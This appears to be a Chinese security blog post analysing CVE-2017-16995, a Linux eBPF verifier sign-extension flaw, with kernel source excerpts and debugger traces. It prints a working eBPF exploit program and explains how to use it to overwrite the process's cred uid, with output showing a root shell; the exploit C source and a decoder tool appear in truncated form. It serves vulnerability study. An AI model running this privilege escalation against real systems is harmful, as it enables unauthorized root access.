Linux CVE-2017-16995整数扩展问题导致提权漏洞分析
学习内核调试没有很久，如有错误，欢迎指出，本篇文章同步到了我的blog。
这个漏洞在2017年底被Google Project Zero团队的Jann Horn发现并修复，然而在2018年4月再次被国外安全研究者Vitaly Nikolenko发现，并可以对特定内核版本的Ubuntu 16.04进行提权，这个漏洞不包含堆栈攻击或者控制流劫持，仅用系统调用数据进行提权，是Data-Oriented Attacks在linux内核上的一个典型应用。
本文分析基于v4.4.110，可以从这里下载编译，也可以从这里在线阅读，本文涉及到的代码、镜像等可从这里下载。(进入“阅读原文”即可下载）
EBPF模块分析
之前在做pwnable.tw里的seccomp-tools一题时，曾经看过一部分bpf代码，但主要是为了逆向seccomp沙箱的规则。
BPF 的全称是 Berkeley Packet Filter，这是一个用于过滤(filter)网络报文(packet)的架构。Linux中常用的抓包软件tcpdump、wireshark都是基于这个模块来对用户提供抓包的接口的。在linux内核3.15以后，基于原有的BPF模块，Linux重新设计了BPF模块，并称之为extended BPF，简称EBPF。
EBPF主要可以为用户加载数据包过滤代码进入内核，并在收到数据包时触发这段代码。
一个常见的数据包过滤程序编写如下：
1、调用 syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr))申请一个map结构，这个结构是用户态与内核态交互的一块共享内存。内核态调用BPF_FUNC_map_lookup_elem来查看map中的数据。而用户态通过syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr))查看map中数据，用户可以通过syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr))对map数据进行更新，而map根据linux特性，会将其视为一个文件，并分配一个文件描述符。
2、调用syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr))将用户编写的EBPF代码加载进入内核，此时将完成对代码合法性的检查，采用模拟执行的方法。
3、调用setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd))，将步骤2的EBPF代码与特定的socket进行绑定，此后对于每一个socket数据包执行EBPF代码进行检查，此时为真实执行。
static void prep(void) {
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);
if (mapfd < 0)
__exit(strerror(errno));
puts("mapfd finished");
progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
(struct bpf_insn *)__prog, PROGSIZE, "GPL", 0);
if (progfd < 0)
__exit(strerror(errno));
puts("bpf_prog_load finished");
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
__exit(strerror(errno));
puts("socketpair finished");
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
__exit(strerror(errno));
puts("setsockopt finished");
}EBPF指令集介绍
EBPF采用的指令集与内核使用的汇编指令不同，采用了一种基于bpf_insn数据结构的指令集,同时还维护了10个寄存器，一个栈，并且有与用户态交互的map结构。
首先是寄存器：
R0：一般用来表示函数返回值，包括整个 BPF 代码块（其实也可被看做一个函数）的返回值；
R1~R5：一般用于表示内核预设函数的参数；
R6~R9：在 BPF 代码中可以作存储用，其值不受内核预设函数影响；
R10：只读，用作栈指针(SP)
可理解对应为物理寄存器为：
R0 – rax
R1 - rdi
R2 - rsi
R3 - rdx
R4 - rcx
R5 - r8
R6 - rbx
R7 - r13
R8 - r14
R9 - r15
R10 – rbp但内核寄存器的实现同EBPF模拟的栈一样，仍然依赖于栈上的临时变量，并不是直接映射为寄存器。后续将从代码层面分析。
接着是指令：
struct bpf_insn {
__u8 code; /* opcode */
__u8 dst_reg:4; /* dest register */
__u8 src_reg:4; /* source register */
__s16 off; /* signed offset */
__s32 imm; /* signed immediate constant */
};熟悉seccomp-tools的同学可能发现，这个结构和seccomp的基本差不多。程序的功能主要取决于code这个字节，代表功能，其中code操作码共有8个比特，其中最低3个比特代表大类功能，从如下代码中看出EBPF共分7类功能，定义如下：
(code) ((code) & 0x07)
而对于各大类功能还可以从通过异或组成不同的新功能。具体的操作可以参考实现中的定义名，根据操作名就可以看出来每一种功能的大意了，我写了一个解码编码的小工具放在github连接中，可以用来翻译或者辅助编写EBPF程序。
dst_reg代表目的寄存器，限制为0~10，src_reg代表目的寄存器，限制为0~10，off代表地址偏移，imm代表立即数。
下面将从代码层面分析EBPF的运行流程。
BPF_MAP_CREATE
这个系统调用首先调用map_create函数，这个函数就是之前分析的bpf模块整数溢出漏洞所在的函数，具体内容可以参照上一篇博客，其核心思想是对申请出一块内存空间，其大小是管理块结构体+attr参数中的size大小，为其分配fd，并将其放入到map队列中，可以用fd号来查找。此部分与本漏洞相关性不大。
map_create
/* called via syscall */
static int map_create(union bpf_attr *attr)
{
struct bpf_map *map;
int err;
err = CHECK_ATTR(BPF_MAP_CREATE);
if (err)
return -EINVAL;
/* find map type and init map: hashtable vs rbtree vs bloom vs ... */
map = find_and_alloc_map(attr);
if (IS_ERR(map))
return PTR_ERR(map);
atomic_set(&map->refcnt, 1);
atomic_set(&map->usercnt, 1);
err = bpf_map_charge_memlock(map);
if (err)
goto free_map;
err = bpf_map_new_fd(map);
if (err < 0)
/* failed to allocate fd */
goto free_map;
return err;
free_map:
map->ops->map_free(map);
return err;
}BPF_PROG_LOAD
这个系统调用用于将用户编写的EBPF规则加载进入内核，其中包含有多处校验。
bpf_prog_load
首先进入bpf_prog_load函数中，首先[1]检查的ebpf license是否为GPL证书的一种，[2]检查指令条数是否超过4096，[3]处利用kmalloc新建了一个bpf_prog结构体，并新建了一个用于存放EBPF程序的内存空间。[4]处将用户态的EBPF程序拷贝到刚申请的内存中。[5]处来判断是哪种过滤模式，其中socket_filter是数据包过滤，而tracing_filter就是对系统调用号及参数的过滤，也就是我们常见的seccomp。最终到达[5]处开始对用户输入的程序进行检查。如果通过检查就将fp中执行函数赋值为 __bpf_prog_run也就是真实执行函数，并尝试JIT加载，否则用中断的方法加载。
bpf_check
下面进入加载的检查逻辑——bpf_check，首先在[1]处将特定指令中的mapfd换成相应的map实际地址，这里需要注意，map实际地址是一个内核地址，有8字节，这样就需要有两条指令的长度来存这个地址，具体可以看下面对这个函数的分析。[2]中借用了程序控制流图的思路来检查这个EBPF程序中是否有死循环和跳转到未初始化的位置，造成无法预期的风险。[3]是实际模拟执行的检测当上述有任一出现问题的检测，是检测的重点。
replace_map_fd_with_map_ptr
replace_map_fd_with_map_ptr函数中，可以看到当满足[1]、[2]两个条件时，即opcode = BPF_LD | BPF_IMM | BPF_DW=0x18，且src_reg = BPF_PSEUDO_MAP_FD =1时，将根据imm的值进行map查找，并将得到的地址分成两部分，分别存储于该条指令和下一条指令的imm部分，与上文所说的占用两条指令是相符的。满足上述两个条件的语句又被命名为BPF_LD_MAP_FD，即把map地址放到寄存器里，该指令写完后，下一条指令应为无意义的填充。
do_check
下面进行check过程中最核心的do_check函数，首先可以看到整个程序处于一个for死循环中，其中维护了一系列寄存器，其寄存器变量定义和初始化如下，可以看到寄存器的值是一个int类型，并且有一个枚举的type变量，type类型包括未定义、位置、立即数、指针等，初始化时会将全部寄存器类型定义为未定义，赋值为0。第十个寄存器定义为栈指针，第一个定义为内容指针。
struct reg_state {
enum bpf_reg_type type;
union {
/* valid when type == CONST_IMM | PTR_TO_STACK */
int imm;
/* valid when type == CONST_PTR_TO_MAP | PTR_TO_MAP_VALUE |
* PTR_TO_MAP_VALUE_OR_NULL
*/
struct bpf_map *map_ptr;
};
};
static void init_reg_state(struct reg_state *regs)
{
int i;
for (i = 0; i < MAX_BPF_REG; i++) {
regs[i].type = NOT_INIT;
regs[i].imm = 0;
regs[i].map_ptr = NULL;
}
/* frame pointer */
regs[BPF_REG_FP].type = FRAME_PTR;
/* 1st arg to a function */
regs[BPF_REG_1].type = PTR_TO_CTX;
}
/* types of values stored in eBPF registers */
enum bpf_reg_type {
NOT_INIT = 0, /* nothing was written into register */
UNKNOWN_VALUE, /* reg doesn't contain a valid pointer */
PTR_TO_CTX, /* reg points to bpf_context */
CONST_PTR_TO_MAP, /* reg points to struct bpf_map */
PTR_TO_MAP_VALUE, /* reg points to map element value */
PTR_TO_MAP_VALUE_OR_NULL,/* points to map elem value or NULL */
FRAME_PTR, /* reg == frame_pointer */
PTR_TO_STACK, /* reg == frame_pointer + imm */
CONST_IMM, /* constant integer value */
};check函数的处理方式是逐条处理，按照不同的类型分别做check。由于指令比较多，不一样赘述了，下面从两个攻击角度去展示程序是如何检测的。
Q&A1：for循环如何会检查结束并退出
退出指令定义为BPF_EXIT，这个指令属于BPF_JMP大类，可以看到当指令为该条指令的时候会执行一个pop_stack操作，而当这个函数的返回值是负数的时候，用break跳出死循环。否则会用这个作为取值的位置去执行下一条指令。对于这个操作的理解是，当遇到条件跳转的时候，程序会默认执行一个分支，然后将另外一个分支压入stack中，当一个分支执行结束后，去检查另外一个分支，类似于迷宫问题解决里走到思路的退栈操作。
查看一下pop_stack函数，函数中先判断env->head是否为0，如果是就代表没有未检查的路径了。否则将保持的state恢复。
static int pop_stack(struct verifier_env *env, int *prev_insn_idx)
{
struct verifier_stack_elem *elem;
int insn_idx;
if (env->head == NULL)
return -1;
memcpy(&env->cur_state, &env->head->st, sizeof(env->cur_state));
insn_idx = env->head->insn_idx;
if (prev_insn_idx)
*prev_insn_idx = env->head->prev_insn_idx;
elem = env->head->next;
kfree(env->head);
env->head = elem;
env->stack_size--;
return insn_idx;
}然后看一下条件分支的处理代码check_cond_jmp_op，我们可以看到这个检查将跳转分成两种，第一种[1]处是JEQ和JNE，并且是比较的值是立即数的情况，此时就判断立即数是不是等于要比较的寄存器，进行直接跳转。第二种[2]处是其他情况，均需把off+1的值压入栈中作为另一条分支。
Q&A2：能否进行直接的内存读写？
内存读写需要用到的指令主要是BPF_LDX_MEM或者BPF_STX_MEM两类。如下，当r7和r8的值可控就可以达到内存任意写，类似于mov dword ptr[r7],r8这样的操作。
STX_MEM_DW(8,7,0x0,0x0)接下来分析一下ST和LD有哪些限制，check_reg_arg[1]处检查寄存器是否访问寄存器的序号是否超过最大值10，如果是SRC_OP检查是否是未初始化的值。否则检查是否要写的地方是rbp，并将要写的寄存器值置为UNKOWN。然后是check_mem_access检查，该函数会根据读写类型检查dst或src的值是否为栈指针、数据包指针、map指针，否则不允许读写：
else if (class == BPF_LDX) {
enum bpf_reg_type src_reg_type;
/* check for reserved fields is already done */
/* check src operand */
[1] err = check_reg_arg(regs, insn->src_reg, SRC_OP);
if (err)
return err;
[1] err = check_reg_arg(regs, insn->dst_reg, DST_OP_NO_MARK);
if (err)
return err;
src_reg_type = regs[insn->src_reg].type;
/* check that memory (src_reg + off) is readable,
* the state of dst_reg will be updated by this func
*/
[2] err = check_mem_access(env, insn->src_reg, insn->off,
BPF_SIZE(insn->code), BPF_READ,
insn->dst_reg);
if (err)
return err;
if (BPF_SIZE(insn->code) != BPF_W) {
insn_idx++;
continue;
}
if (insn->imm == 0) {
/* saw a valid insn
* dst_reg = *(u32 *)(src_reg + off)
* use reserved 'imm' field to mark this insn
*/
insn->imm = src_reg_type;
} else if (src_reg_type != insn->imm &&
(src_reg_type == PTR_TO_CTX ||
insn->imm == PTR_TO_CTX)) {
/* ABuser program is trying to use the same insn
* dst_reg = *(u32*) (src_reg + off)
* with different pointer types:
* src_reg == ctx in one branch and
* src_reg == stack|map in some other branch.
* Reject it.
*/
verbose("same insn cannot be used with different pointers\n");
return -EINVAL;
}
} else if (class == BPF_STX) {
enum bpf_reg_type dst_reg_type;
if (BPF_MODE(insn->code) == BPF_XADD) {
err = check_xadd(env, insn);
if (err)
return err;
insn_idx++;
continue;
}
/* check src1 operand */
[1] err = check_reg_arg(regs, insn->src_reg, SRC_OP);
if (err)
return err;
/* check src2 operand */
[1] err = check_reg_arg(regs, insn->dst_reg, SRC_OP);
if (err)
return err;
dst_reg_type = regs[insn->dst_reg].type;
/* check that memory (dst_reg + off) is writeable */
[2] err = check_mem_access(env, insn->dst_reg, insn->off,
BPF_SIZE(insn->code), BPF_WRITE,
insn->src_reg);
if (err)
return err;
if (insn->imm == 0) {
insn->imm = dst_reg_type;
} else if (dst_reg_type != insn->imm &&
(dst_reg_type == PTR_TO_CTX ||
insn->imm == PTR_TO_CTX)) {
verbose("same insn cannot be used with different pointers\n");
return -EINVAL;
}
}以上情况，如果采用MOV这样的赋值指令去读写的话，寄存器类型会判定为IMM，而拒绝。另外一种是用BPF_FUNC_map_lookup_elem这样的函数调用返回，再赋给某个寄存器，然后再进行读写。而这种方法会在赋值时被设定为UNKNOWN而拒绝读写。
__bpf_prog_run
以上就是对于加载指令的全部检查，可以看到我们能想到的内存读写方法都是会被检测出来的。真正执行的时候代码在__bpf_prog_run中，其中可以看到所谓的各个寄存器和栈只是这个函数的局部变量：
static unsigned int __bpf_prog_run(void *ctx, const struct bpf_insn *insn)
{
u64 stack[MAX_BPF_STACK / sizeof(u64)];
u64 regs[MAX_BPF_REG], tmp;
static const void *jumptable[256] = {
[0 ... 255] = &&default_label,
/* Now overwrite non-defaults ... */程序维护了一个跳表，根据opcode来进行跳转，而函数中没有任何check，具体实现代码十分简单，就不赘述了。
可以发现程序的寄存器变量与check中的寄存器变量不太一样，此时是unsigned long long类型。
漏洞利用
利用整数扩展问题绕过bpf_check
本漏洞的原因是check函数和真正的函数的执行方法不一致导致的，主要问题是二者寄存器值类型不同。先看下面一段EBPF指令：
[0]: ALU_MOV_K(0,9,0x0,0xffffffff)
[1]: JMP_JNE_K(0,9,0x2,0xffffffff)
[2]: ALU64_MOV_K(0,0,0x0,0x0)
[3]: JMP_EXIT(0,0,0x0,0x0)
[4]: ......
......第0条指令是将0xffffffff放入r9寄存器中，当在do_check函数中时，在[1]处会直接将0xffffffff复制给r9，并将type赋值为IMM。在第[1]条指令，比较r9==0xffffffff，相等时就执行[2]、[3]，否则跳到[4]。根据前文对退出的分析，这个地方在do_check看来是一个恒等式，不会将另外一条路径压入stack，直接退出。
if (class == BPF_ALU || class == BPF_ALU64) {
err = check_alu_op(env, insn);
if (err)
return err；
}
static int check_alu_op(struct verifier_env *env, struct bpf_insn *insn)
{
struct reg_state *regs = env->cur_state.regs;
u8 opcode = BPF_OP(insn->code);
int err;
if (opcode == BPF_END || opcode == BPF_NEG) {
... ...
}
/* check src operand */
.......
/* check dest operand */
.......
} else if (opcode == BPF_MOV) {
if (BPF_SRC(insn->code) == BPF_X) {
if (insn->imm != 0 || insn->off != 0) {
verbose("BPF_MOV uses reserved fields\n");
return -EINVAL;
}
/* check src operand */
err = check_reg_arg(regs, insn->src_reg, SRC_OP);
if (err)
return err;
} else {
if (insn->src_reg != BPF_REG_0 || insn->off != 0) {
verbose("BPF_MOV uses reserved fields\n");
return -EINVAL;
}
}
/* check dest operand */
err = check_reg_arg(regs, insn->dst_reg, DST_OP);
if (err)
return err;
if (BPF_SRC(insn->code) == BPF_X) {
if (BPF_CLASS(insn->code) == BPF_ALU64) {
/* case: R1 = R2
* copy register state to dest reg
*/
regs[insn->dst_reg] = regs[insn->src_reg];
} else {
if (is_pointer_value(env, insn->src_reg)) {
verbose("R%d partial copy of pointer\n",
insn->src_reg);
return -EACCES;
}
regs[insn->dst_reg].type = UNKNOWN_VALUE;
regs[insn->dst_reg].map_ptr = NULL;
}
[1] } else {
/* case: R = imm
* remember the value we stored into this reg
*/
regs[insn->dst_reg].type = CONST_IMM;
regs[insn->dst_reg].imm = insn->imm;
}
} else if (opcode > BPF_END) {
verbose("invalid BPF_ALU opcode %x\n", opcode);
return -EINVAL;
} else { /* all other ALU ops: and, sub, xor, add, ... */
......
}
return 0;
}而在真实执行的过程中，由于寄存器类型不一样，在执行第二条跳转语句时存在问题：
JMP_JNE_K:
if (DST != IMM) {
insn += insn->off;
CONT_JMP;
}
CONT;而翻译成汇编就非常明显了：
0xffffffff81173bad <__bpf_prog_run+1565> mov qword ptr [rbp + rax*8 - 0x278], rdi
0xffffffff81173bb5 <__bpf_prog_run+1573> movzx eax, byte ptr [rbx]
0xffffffff81173bb8 <__bpf_prog_run+1576> jmp qword ptr [r12 + rax*8]
↓
0xffffffff81173e7b <__bpf_prog_run+2283> movzx eax, byte ptr [rbx + 1]
0xffffffff81173e7f <__bpf_prog_run+2287> movsxd rdx, dword ptr [rbx + 4]
► 0xffffffff81173e83 <__bpf_prog_run+2291> and eax, 0xf
0xffffffff81173e86 <__bpf_prog_run+2294> cmp qword ptr [rbp + rax*8 - 0x278], rdx
0xffffffff81173e8e <__bpf_prog_run+2302> je __bpf_prog_run+5036 <0xffffffff8117493c>
0xffffffff81173e94 <__bpf_prog_run+2308> movsx rax, word ptr [rbx + 2]
0xffffffff81173e99 <__bpf_prog_run+2313> lea rbx, [rbx + rax*8 + 8]
0xffffffff81173e9e <__bpf_prog_run+2318> movzx eax, byte ptr [rbx]
─────────────────────────────────────[ STACK ]──────────────────────────────────────
00:0000│ rsp 0xffff88000048fa30 ◂— 0xcc
01:0008│ 0xffff88000048fa38 ◂— 0x0
02:0010│ 0xffff88000048fa40 —▸ 0xffff88000fabb500 ◂— 0x0
03:0018│ 0xffff88000048fa48 —▸ 0xffffffff811afebc (zone_statistics+124) ◂— 0xbec35d5d415c415b
04:0020│ 0xffff88000048fa50 ◂— 0x1
05:0028│ 0xffff88000048fa58 —▸ 0xffff88000c46e780 ◂— 0x17c
06:0030│ 0xffff88000048fa60 —▸ 0xffff88000048fc18 —▸ 0xffff88000048fc70 —▸ 0xffff88000a550f00 ◂— 0x200000001
07:0038│ 0xffff88000048fa68 —▸ 0xffff88000048fb30 —▸ 0xffff88000048fc70 —▸ 0xffff88000a550f00 ◂— 0x200000001
───────────────────────────────────[ BACKTRACE ]────────────────────────────────────
► f 0 ffffffff81173e83 __bpf_prog_run+2291
f 1 ffffffff817272bc sk_filter_trim_cap+108
f 2 ffffffff817272bc sk_filter_trim_cap+108
f 3 ffffffff817b824a unix_dgram_sendmsg+586
f 4 ffffffff817b824a unix_dgram_sendmsg+586
f 5 ffffffff816f4728 sock_sendmsg+56
f 6 ffffffff816f4728 sock_sendmsg+56
f 7 ffffffff816f47c5 sock_write_iter+133
f 8 ffffffff8120cf59 __vfs_write+201
f 9 ffffffff8120cf59 __vfs_write+201
f 10 ffffffff8120d5d9 vfs_write+169
pwndbg> i r rdx
rdx 0xffffffffffffffff -1
pwndbg> x /gx $rbx+4
0xffffc90000099034: 0x000000b7ffffffff
pwndbg>可以看到汇编指令被翻译成movsxd，而此时会发生符号扩展，由原来的0xffffffff扩展成0xffffffffffffffff，再次比较的时候二者并不相同，造成了跳转到[4]处执行，从而绕过了对[4]以后EBPF程序的校验。
漏洞利用
当[4]以后的程序不经过check以后，就可以对[4]的内容进行构造了，利用真正执行时无类型就可以达到内存任意读写了。
利用本人写的小工具对已有的EBPF程序进行解码，可以看到程序逻辑如下：
[0]: ALU_MOV_K(0,9,0x0,0xffffffff)
[1]: JMP_JNE_K(0,9,0x2,0xffffffff)
[2]: ALU64_MOV_K(0,0,0x0,0x0)
[3]: JMP_EXIT(0,0,0x0,0x0)
[4]: LD_IMM_DW(1,9,0x0,0x3)
[5]: maybe padding
[6]: ALU64_MOV_X(9,1,0x0,0x0)
[7]: ALU64_MOV_X(10,2,0x0,0x0)
[8]: ALU64_ADD_K(0,2,0x0,0xfffffffc)
[9]: ST_MEM_W(0,10,0xfffc,0x0)
[10]: JMP_CALL(0,0,0x0,0x1)
[11]: JMP_JNE_K(0,0,0x1,0x0)
[12]: JMP_EXIT(0,0,0x0,0x0)
[13]: LDX_MEM_DW(0,6,0x0,0x0)
[14]: ALU64_MOV_X(9,1,0x0,0x0)
[15]: ALU64_MOV_X(10,2,0x0,0x0)
[16]: ALU64_ADD_K(0,2,0x0,0xfffffffc)
[17]: ST_MEM_W(0,10,0xfffc,0x1)
[18]: JMP_CALL(0,0,0x0,0x1)
[19]: JMP_JNE_K(0,0,0x1,0x0)
[20]: JMP_EXIT(0,0,0x0,0x0)
[21]: LDX_MEM_DW(0,7,0x0,0x0)
[22]: ALU64_MOV_X(9,1,0x0,0x0)
[23]: ALU64_MOV_X(10,2,0x0,0x0)
[24]: ALU64_ADD_K(0,2,0x0,0xfffffffc)
[25]: ST_MEM_W(0,10,0xfffc,0x2)
[26]: JMP_CALL(0,0,0x0,0x1)
[27]: JMP_JNE_K(0,0,0x1,0x0)
[28]: JMP_EXIT(0,0,0x0,0x0)
[29]: LDX_MEM_DW(0,8,0x0,0x0)
[30]: ALU64_MOV_X(0,2,0x0,0x0)
[31]: ALU64_MOV_K(0,0,0x0,0x0)
[32]: JMP_JNE_K(0,6,0x3,0x0)
[33]: LDX_MEM_DW(7,3,0x0,0x0)
[34]: STX_MEM_DW(3,2,0x0,0x0)
[35]: JMP_EXIT(0,0,0x0,0x0)
[36]: JMP_JNE_K(0,6,0x2,0x1)
[37]: STX_MEM_DW(10,2,0x0,0x0)
[38]: JMP_EXIT(0,0,0x0,0x0)
[39]: STX_MEM_DW(8,7,0x0,0x0)
[40]: JMP_EXIT(0,0,0x0,0x0)下面对这个程序进行分析：
首先，[0]~[3]已经分析过了下面对后续指令进行分析：
第[4]~[5]条语句可用由上面的map知识得到，第五条语句是填充语句，当执行完后，会将map的地址存放在r9寄存器中。
[6]~[13]语句的类C代码如下，即调用
BPF_FUNC_map_lookup_elem(map_add,idx)，并将返回值存到r6寄存器中，
即r6=map[0]
[6]: r1=r9
[7]: r2=rbp
[8]: r2 = r2-4
[9]: [rbp+(-4)] = 0 (idx)
[10]: call BPF_FUNC_map_lookup_elem
[11]: if r0== 0:
[12]: exit(0)
[13]: r6=[r0][14]~[21]同理，将r7=map[1]。[22]~[29]为r8=map[2]，而map的内容可以由用户态传入。
最后[30]~[40]分为三个不分，map[0] = 0时，将map[1]地址所指的内容，写到map[3]中，用户态可以通过读map[3]来得到这个值，因此是内存任意读功能。map[0]=1时，将rbp的值写入map[3]中，由此可以泄露内核栈地址。map[0]=2时，将map[3]的值写入map[2]地址中，由此是个内存任意写。
[30]: ALU64_MOV_X(0,2,0x0,0x0) r2=r0
[31]: ALU64_MOV_K(0,0,0x0,0x0) r0=0
[32]: JMP_JNE_K(0,6,0x3,0x0) if r6!=0 jmpto 36
[33]: LDX_MEM_DW(7,3,0x0,0x0) r3 = [r7]
[34]: STX_MEM_DW(3,2,0x0,0x0) [r2]=r3
[35]: JMP_EXIT(0,0,0x0,0x0) exit(0)
[36]: JMP_JNE_K(0,6,0x2,0x1) if r6!=1 jmpto 39
[37]: STX_MEM_DW(10,2,0x0,0x0) [r2]=rbp
[38]: JMP_EXIT(0,0,0x0,0x0) exit(0)
[39]: STX_MEM_DW(8,7,0x0,0x0) [r7]=r8
[40]: JMP_EXIT(0,0,0x0,0x0) exit(0)漏洞利用也非常简单，首先利用2功能读取内核栈地址，这样通过栈地址& ~(0x4000 - 1)可以得到内核线程task_struct的地址，而这个数据结构中的cred指针指向该线程的cred数据块，但是这个偏移会随内核编译的改变而改变，从gdb中看这个结构的方法是：
p &(*(struct task_struct *)0).cred
2 = (const struct cred **) 0x9b8 <irq_stack_union+2488>因此，利用0功能可以读出cred的地址，同理找出cred中的uid偏移：
p &(*(struct cred *)0).uid
3 = (kuid_t *) 0x4 <irq_stack_union+4>再利用2功能向该地址里写入0，就可以成功提权了。
/ $ id
uid=1000(chal) gid=1000(chal) groups=1000(chal)
/ $ ./upstream44
mapfd finished
bpf_prog_load finished
socketpair finished
setsockopt finished
task_struct = ffff880006d90000
uidptr = ffff8800004313c4
spawning root shell
uid=0(root) gid=0(root) euid=1000(chal) egid=1000(chal) groups=1000(chal)
/ $相关代码
EXP
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <string.h>
#include <linux/bpf.h>
...
(完整版请阅读原文查看）ebpf_tool
import sys
opcode = []
for i in range(256):
opcode.append('invalid opcode')
code = '''
"\xb4\x09\x00\x00\xff\xff\xff\xff"
"\x55\x09\x02\x00\xff\xff\xff\xff"
...
(完整版请阅读原文查看）参考
https://security.tencent.com/index.php/blog/msg/124
https://www.ibm.com/developerworks/cn/linux/l-lo-eBPF-history/index.html
https://www.jianshu.com/p/75b368f85dc6
https://cert.360.cn/report/detail?id=ff28fc8d8cb2b72148c9237612933c11
https://xz.aliyun.com/t/2212
https://blog.csdn.net/qq_14978113/article/details/80488711
https://elixir.bootlin.com/linux/v4.4.110/source/kernel/bpf/syscall.c
https://elixir.bootlin.com/linux/v4.4.110/source/kernel/bpf/verifier.c
https://elixir.bootlin.com/linux/v4.4.110/source/kernel/bpf/core.c
- End -
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